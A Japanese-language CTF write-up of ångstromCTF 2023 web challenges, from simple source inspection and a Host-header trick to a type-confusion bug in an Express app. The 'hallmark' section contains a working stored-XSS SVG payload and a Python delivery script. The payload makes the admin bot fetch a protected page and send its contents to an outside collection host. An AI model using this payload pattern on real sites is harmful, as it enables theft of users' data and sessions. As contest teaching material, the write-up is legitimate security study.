[ångstromCTF 2023] My own writeup

Posted on Apr 27, 2023

ångstromCTF 2023が2023/04/23 0:00 - 2023/04/27 0:00 (UTC)で開催されました。

[web] catch me if you can

ページのsourceにflagが書かれています。

$ curl https://catch-me-if-you-can.web.actf.co/ | grep "actf{"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1141  100  1141    0     0    143      0  0:00:07  0:00:07 --:--:--   307
        <marquee scrollamount="50" id="flag">actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}</marquee>

[web] Celeste Speedrunning Association

/ をGETすると、以下が表示されます。

Welcome to Celeste speedrun records!!!
Current record holders (beat them at /play for a flag!):
1. Old Lady: 0 seconds
2. Madeline: 10 seconds
3. Badeline: 10.1 seconds

/playをGETすると以下のフォームが存在します。にvalueを1682344303.794233として/submitにPOSTするようです。

<form action="/submit" method="POST">
  <input type="text" style="display: none;" value="1682344303.794233" name="start" />
  <input type="submit" value="Press when done!" />
</form>

よくわかりませんが、/submitstartのvalueを適当な大きい値に設定してsubmitするとflagが得られました。

$ curl -X POST -d 'start=100000000000000000000' https://mount-tunnel.web.actf.co/submit
you win the flag: actf{wait_until_farewell_speedrun}

[web] shortcircuit

ページのsourceは以下です。chunk()でflagをいくつかに分割して配列にして、swap()配列の要素の位置を入れ替える処理を行っています。

<html>
    <head>
        <title>Short Circuit</title>

        <script>
            const swap = (x) => {
                let t = x[0]
                x[0] = x[3]
                x[3] = t

                t = x[2]
                x[2] = x[1]
                x[1] = t

                t = x[1]
                x[1] = x[3]
                x[3] = t

                t = x[3]
                x[3] = x[2]
                x[2] = t

                return x
            }

            const chunk = (x, n) => {
                let ret = []

                for(let i = 0; i < x.length; i+=n){
                    ret.push(x.substring(i,i+n))
                }

                return ret
            }

            const check = (e) => {
                if (document.forms[0].username.value === "admin"){
                    if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){
                        location.href="/win.html"
                    }
                    else{
                        document.getElementById("msg").style.display = "block"
                    }
                }
            }
        </script>
    </head>
    <body>
        <form>
            <input name="username" placeholder="Username" type="text" />
            <input name="password" placeholder="Password" type="password" />

            <input type="button" onclick="check()" value="Log in"/>
        </form>
        <p id="msg" style="display:none;color:red;">Username or password incorrect</p>
    </body>
</html>

この逆の処理を行ってflagを得ます。swap()の逆の処理を行うreverse_swap()を用意します。

const chunk = (x, n) => {
    let ret = []

    for(let i = 0; i < x.length; i+=n){
        ret.push(x.substring(i,i+n))
    }

    return ret
}

const reverse_swap = (x) => {
    let t = x[2]
    x[2] = x[3]
    x[3] = t

    t = x[3]
    x[3] = x[1]
    x[1] = t

    t = x[1]
    x[1] = x[2]
    x[2] = t

    t = x[3]
    x[3] = x[0]
    x[0] = t

    return x
}

const target = "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7";

console.log(reverse_swap(chunk(target, 30)).join("")) // actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2}

[web] directory

ページのsourceは以下のようになっています。5000個のhtmlファイルがあります。

<html><body><a href="0.html">page 0</a><br />
<a href="1.html">page 1</a><br />
<a href="2.html">page 2</a><br />
<a href="3.html">page 3</a><br />
<a href="4.html">page 4</a><br />
<a href="5.html">page 5</a><br />
...
<a href="4996.html">page 4996</a><br />
<a href="4997.html">page 4997</a><br />
<a href="4998.html">page 4998</a><br />
<a href="4999.html">page 4999</a><br />
</body></html>

試しに0.htmlを見てみると、your flag is in another fileと書かれています。どれか一つのファイルにflagが書かれているようです。

非同期で5000個のhtmlファイルをGETするスクリプトを用意します。

import asyncio
import aiohttp

async def fetch(url, session):
    async with session.get(url) as response:
        text = await response.text()
        return text

async def main():
    base_url = 'https://directory.web.actf.co'
    async with aiohttp.ClientSession() as session:
        tasks = []
        for i in range(0, 5000):
            url = f'{base_url}/{i}.html'
            tasks.append(asyncio.ensure_future(fetch(url, session)))

        responses = await asyncio.gather(*tasks)

        for i, r_text in enumerate(responses):
            print('count:', i)
            if r_text != 'your flag is in another file':
                print(r_text)
                break

if __name__ == '__main__':
    loop = asyncio.get_event_loop()
    loop.run_until_complete(main())

3054.htmlにflagが書かれていました。

$ python3 solver.py
count: 0
count: 1
...
count: 3053
count: 3054
actf{y0u_f0und_me_b51d0cde76739fa3}

[web] Celeste Tunneling Association

以下のapp.pyが与えられます。

# run via `uvicorn app:app --port 6000`
import os

SECRET_SITE = b"flag.local"
FLAG = os.environ['FLAG']

async def app(scope, receive, send):
    assert scope['type'] == 'http'

    headers = scope['headers']

    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [
            [b'content-type', b'text/plain'],
        ],
    })

    # IDK malformed requests or something
    num_hosts = 0
    for name, value in headers:
        if name == b"host":
            num_hosts += 1

    if num_hosts == 1:
        for name, value in headers:
            if name == b"host" and value == SECRET_SITE:
                await send({
                    'type': 'http.response.body',
                    'body': FLAG.encode(),
                })
                return

    await send({
        'type': 'http.response.body',
        'body': b'Welcome to the _tunnel_. Watch your step!!',
    })

hostヘッダにflag.localをセットすればflagが取得できるようです。

$ curl -H "host: flag.local" https://pioneer.tailec718.ts.net/
actf{reaching_the_core__chapter_8}

[web] hallmark

以下のindex.jsが与えられます。

Content-Typetext/plainimage/svg+xmlのcardを作成・更新することができます。text/plainのcardは任意のコンテンツを設定できますが、image/svg+xmlのcardはあらかじめサーバに配置されているsvgファイルしか使用できません。

const express = require("express");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const path = require("path");
const { v4: uuidv4, v4 } = require("uuid");
const fs = require("fs");

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser());

const IMAGES = {
    heart: fs.readFileSync("./static/heart.svg"),
    snowman: fs.readFileSync("./static/snowman.svg"),
    flowers: fs.readFileSync("./static/flowers.svg"),
    cake: fs.readFileSync("./static/cake.svg")
};

Object.freeze(IMAGES)

const port = Number(process.env.PORT) || 8080;
const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";

const cards = Object.create(null);

app.use('/static', express.static('static'))

app.get("/card", (req, res) => {
    console.log(req.query.id);
    if (req.query.id && cards[req.query.id]) {
        res.setHeader("Content-Type", cards[req.query.id].type);
        res.send(cards[req.query.id].content);
    } else {
        res.send("bad id");
    }
});

app.post("/card", (req, res) => {
    let { svg, content } = req.body;

    let type = "text/plain";
    let id = v4();

    console.log("post:", typeof(svg), svg, content);

    if (svg === "text") {
        type = "text/plain";
        cards[id] = { type, content }
    } else {
        type = "image/svg+xml";
        cards[id] = { type, content: IMAGES[svg] }
    }

    res.redirect("/card?id=" + id);
});

app.put("/card", (req, res) => {
    let { id, type, svg, content } = req.body;

    if (!id || !cards[id]){
        res.send("bad id");
        return;
    }

    console.log("put:", typeof(type), type)
    console.log(type == "image/svg+xml", type === "image/svg+xml")

    cards[id].type = type == "image/svg+xml" ? type : "text/plain";
    cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
    console.log(cards[id].type, cards[id].content)

    res.send("ok");
});


// the admin bot will be able to access this
app.get("/flag", (req, res) => {
    if (req.cookies && req.cookies.secret === secret) {
        res.send(flag);
    } else {
        res.send("you can't view this >:(");
    }
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

cardの作成処理では、svgパラメータの値がtextの場合に、typetext/plainのcardを作成します。svgパラメータの値がtextの以外の場合に、typeimage/svg+xmlのcardを作成します。この処理は特に問題なさそうです。

app.post("/card", (req, res) => {
    let { svg, content } = req.body;

    let type = "text/plain";
    let id = v4();

    console.log("post:", typeof(svg), svg, content);

    if (svg === "text") {
        type = "text/plain";
        cards[id] = { type, content }
    } else {
        type = "image/svg+xml";
        cards[id] = { type, content: IMAGES[svg] }
    }

    res.redirect("/card?id=" + id);
});

cardの更新処理では、typeパラメータの値がimage/svg+xmlの場合にcardtypeに入力のtypeパラメータの値が設定され、image/svg+xmlでない場合にcardtypetext/plainが設定されます。また、typeパラメータの値がimage/svg+xmlの場合にcardcontentIMAGES[svg || "heart"]が設定され、image/svg+xmlでない場合に入力のcontentパラメータの値が設定されます。

app.put("/card", (req, res) => {
    let { id, type, svg, content } = req.body;

    if (!id || !cards[id]){
        res.send("bad id");
        return;
    }

    cards[id].type = type == "image/svg+xml" ? type : "text/plain";
    cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;

    res.send("ok");
});

以下の部分をよくみると、上では抽象的な等価性比較(==)、下では厳格な等価性比較(===)が使用されています。MDNのサイト[https://developer.mozilla.org/ja/docs/Web/JavaScript/Equality_comparisons_and_sameness] を参考にすると、==は2つの値の型が異なる場合に両方の値を共通の型に変換し、等しいかどうかを比較し、===は型変換を行わずに2つの値を比較します(型が異なる場合は等しくないとする)。

cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;

今回は、app.use(bodyParser.urlencoded({ extended: true }));が設定されているため、Stringだけでなく、Objectをデータとして送信することができます。例えばtypeとして['image/svg+xml'] のようなObjectを送信できれば、先程の上の条件式をfalse、下の条件式をtrueにでき、typeimage/svg+xmlとした上で任意のコンテンツを設定できます。つまり、svgを用いたXSSが可能になります。

> ['image/svg+xml'] == 'image/svg+xml' // 型変換を行う、`Array.prototype.toString()`を用いて`['image/svg+xml']`をStringに変換
true
> ['image/svg+xml'] === 'image/svg+xml' // 型変換を行わない
false

body-parserの実装を参考にすると、foo[0]=barのようにすると、{"foo":["bar"]}のようなデータが送信できそうです。

また、XSSを発火させて、Cookieを自身のサーバに送信するためのsvgとしては以下を使用します(参考)。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    fetch(`https://hallmark.web.actf.co/flag`)
    .then(async(res) => {
        flag = await res.text();
        fetch(`https://eon3rjzh6pnyack.m.pipedream.net?flag=${flag}`);
    });
  </script>
</svg>

最終的に以下のスクリプトを用いて、/cardのPOSTとPUTを行います。

mport requests
import re

base_url = 'https://hallmark.web.actf.co'

# POST /card
data = {
    "svg": "text",
    "content": "hugahugahugahuga"
}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
res = requests.post(f'{base_url}/card', data=data, allow_redirects=False)
print(res.text)

pattern = r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"
match = re.search(pattern, res.text)
uuid = match.group(0)

payload = '''<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    fetch(`https://hallmark.web.actf.co/flag`)
    .then(async(res) => {
        flag = await res.text();
        fetch(`[自身のサーバのURL]?flag=${flag}`);
    });
  </script>
</svg>
'''

# PUT /card
data = {
    "type[0]": "image/svg+xml",
    "content": payload,
    "id": uuid
}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
res = requests.put(f'{base_url}/card', data=data)
print(f"url: {base_url}/card?id={uuid}")

そして、出力されるURLをadmin botに投げると自身のサーバにflagが送信されます。

actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}